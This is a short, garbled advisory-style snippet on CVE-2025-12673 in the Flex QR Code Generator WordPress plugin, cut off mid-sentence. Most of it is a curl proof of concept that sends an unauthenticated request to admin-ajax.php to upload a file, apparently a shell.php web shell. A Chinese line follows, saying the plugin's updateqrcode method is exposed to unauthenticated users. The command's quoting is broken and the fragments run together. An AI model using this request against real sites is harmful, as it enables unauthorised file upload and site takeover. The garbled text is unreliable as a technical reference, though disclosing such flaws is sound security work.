CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" 详情 漏洞存在于 FlexQrCodeGenerator 类的 updateqrcode 方法中。该插件为未认证用户注册了 AJAX...